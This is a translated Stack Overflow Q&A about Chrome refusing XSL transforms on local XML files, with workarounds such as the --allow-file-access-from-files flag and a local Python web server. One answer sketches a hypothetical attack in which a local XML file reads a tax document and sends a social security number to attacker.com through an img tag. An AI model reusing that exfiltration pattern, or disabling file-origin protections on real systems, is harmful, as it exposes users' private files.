可以让 Chrome 对本地文件执行 XSL 转换吗?

Posted

技术标签:

【中文标题】可以让 Chrome 对本地文件执行 XSL 转换吗?【英文标题】:Can Chrome be made to perform an XSL transform on a local file? 【发布时间】:2011-04-19 05:43:08 【问题描述】:

我正在研究 xslt 并开始使用 w3schools 上的示例进行测试。

但是,当我将 xml 和 xsl 保存在文件中并尝试在本地打开它们时,chrome 不会执行 xsl 转换。它只是显示一个空白页。

我已将<?xml-stylesheet type="text/xsl" href="style.xsl"> 标记添加到 xml 文档中,Firefox 将其呈现为应有的外观。另外,如果我通过网络服务器查看文件,chrome 会按原样显示文件。

当链接是本地的时,chrome在查找样式表信息时是否有问题?将 href 更改为 file:///C:/xsl/style.xsl 没有任何区别。

更新:这似乎是安全策略to not treat file:///* as same origin. 的副作用这使得控制台中出现以下错误:

不安全的尝试从带有 URL file:///C:/xsl-rpg/data.xml 的框架加载 URL file:///C:/xsl-rpg/style.xsl。域、协议和端口必须匹配。

【问题讨论】:

file: 协议看来,Chrome 会抛出相同的域错误。 在 IE11 上有效。 Chrome 越来越邪恶了。 【参考方案1】:

简短的回答是“不,使用diverse set of browsers 之一”

这不起作用的原因是由于 Chrome 以一种有争议的方式解决了安全问题[1][2][3][4],通过阻止 XML 文件访问本地XSLT文件在同一目录下,而html文件可以访问同一目录下的.CSS文件。

在上面提到的问题中,用户要求提供更清晰的错误消息(因为域、协议和端口确实匹配),或者至少显示没有样式的 XML。 Chrome 开发者忽略了这些请求。

【讨论】:

虽然他们的security concern 有意义,但XML 文件应该能够从同一目录加载XSL 样式表,就像HTML 文件可以从同一目录加载图像和脚本一样。有一个issue you can star,但 Chrome 开发团队已经禁止在其上使用新的 cmets - 尽管他们抱怨说他们无法量化用户希望本地文件来源放松的程度。 有趣的事实:Mac (8.0) 上的 Safari 与本地 XSLT 配合得很好,但 ios (8) 模拟器上的 Safari(我想在 iOS 上也是如此)我得到了与 Chrome 中相同的错误“域、协议和端口必须匹配。”。但是,如果我要在应用程序中实现 UIWebView 并使用 XSLT 加载 XML,一切正常。 当任务是修复 chrome 浏览器中的特定 xslt 呈现时,使用另一个浏览器的一点点...... 一种适用于 Chromium 的方法是将 XSL 文件作为 data:text/xsl URI 内联到 XML 文件中。【参考方案2】:

您可以使用 Chrome 的命令行标志在本地执行此操作。

具体标志为--allow-file-access-from-files

在 OS X 上:从 Terminal.app 运行 /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

在 Windows 上:从命令提示符运行 %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

注意:如果 Chrome 当前正在运行,您可能必须退出 Chrome,否则 Ch

【讨论】:

这似乎不适用于 Windows 7。我发现 chrome.exe 位于此处:C:\Program Files (x86)\Google\Chrome\Application,并且 --allow-file-access-from-files 命令只执行很好,但是我的本地 XML 文档(由本地 XSLT 文件转换)没有显示。 也许你必须手动在 windows 任务管理器中为 chrome.exe 杀死所有正在运行的 windows 进程。对我来说,这很有效。 /Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-files 为我工作。显然我正在运行 Chrome Canary。运行此命令后,应该会打开一个新的 Chrome 窗口并让您执行 XSL 转换。 在 Windows 7 上更快:窗口键 + R; "chrome --allow-file-access-from-files";输入。 或在 PowerShell 中(为您杀死以前的 chrome):get-process chrome | stop-process; start-process chrome --allow-file-access-from-files【参考方案3】:

如果您想坚持使用 OP,答案是否定的(正如其他人指出的那样),但解决问题的一种方法是运行一个简单的网络服务器并通过 http 在 chrome 中打开文件。如果您安装了 python 2.x,您可以通过键入以下内容来运行网络服务器:

python -m SimpleHTTPServer

或者在 python 3.x 中:

python3 -m http.server

然后在 chrome 中使用 http://localhost:8000/yourfile.xml 打开文件。希望您只是想完成您的工作,而必须使用 file:// 打开文件并不是一件至关重要的事情

【讨论】:

这是一个旧帖子,但很好的提示!我自己使用了 http-server npm 包:) 这是通用解决方案,适用于所有平台,而不是弄清楚如何在不同浏览器上禁用 CORS。竖起大拇指!【参考方案4】:

在 Chrome 错误页面上进行了一些解读 - 他们非常热衷于不解释问题是什么,以及为什么他们选择破坏所有人而不是不破坏所有人。

假设我有一个 XML 文件 - 某处 - 在我的硬盘上,例如:

C:\Users\Ian\Documents\Taxes\StudioTaxReturn_2015.xml

一个恶意实体 - 不知何故 - 设法在我的计算机上放置了一个恶意 Xml 文件,例如:

C:\Users\Ian\AppData\LocalLow\Temp\***VirusWorm.xml

想象 ***VirusWorm.xml 包含一个样式表处理指令(PI):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

然后攻击者指示我的浏览器导航到本地保存的***VirusWorm.xml 文件。

显然有一种方法可以让 XML 文件读取 XSD 文件的内容(而不是被 XSD 文件转换):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

我不明白 XML 文件如何读取样式表文件。但 Chrome 团队向我们保证,这是一种危险,而且无法解决。

所有其他浏览器都解决了它。他们解决了because it's not a problem。

【讨论】:

【参考方案5】:

我根据 xsl 文件查看 xml 的解决方法

假设我们有一个带有标题的 some_file.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
    我们下载文件https://some-site.com/Common.xsl 并将其放在some_file.xml 旁边 将部分标题从 href="https://some-site.com/Common.xsl" 更改为 href="http://localhost:8001/Common.xsl" 在包含我们文件的目录中运行 - python3 -m http.server 8001 在任意浏览器中打开http://localhost:8001/some_file.xml

【讨论】:

【参考方案6】:

您可以通过更改浏览器设置来启用 Chrome 以呈现 XSL 文件。更安全的方法是通过本地网络服务器访问它,例如 Visual Studio Code Live Server 或 Apache。步骤见XSLT Won't Render on Local Files。

【讨论】:

以上是关于可以让 Chrome 对本地文件执行 XSL 转换吗?的主要内容,如果未能解决你的问题,请参考以下文章

Angular2+对本地脚本文件使用完整性参数

C# - 是不是可以(以及如何)使用 SgmlReader 执行 XSL 转换

如何解决从字符串加载 XSL 的转换中包含的 XSL?

如何加快 XSL 转换?

Chrome不会将我的XSLT样式表应用于我的本地XML文件

使用 XSL 转换合并两个 XML 文件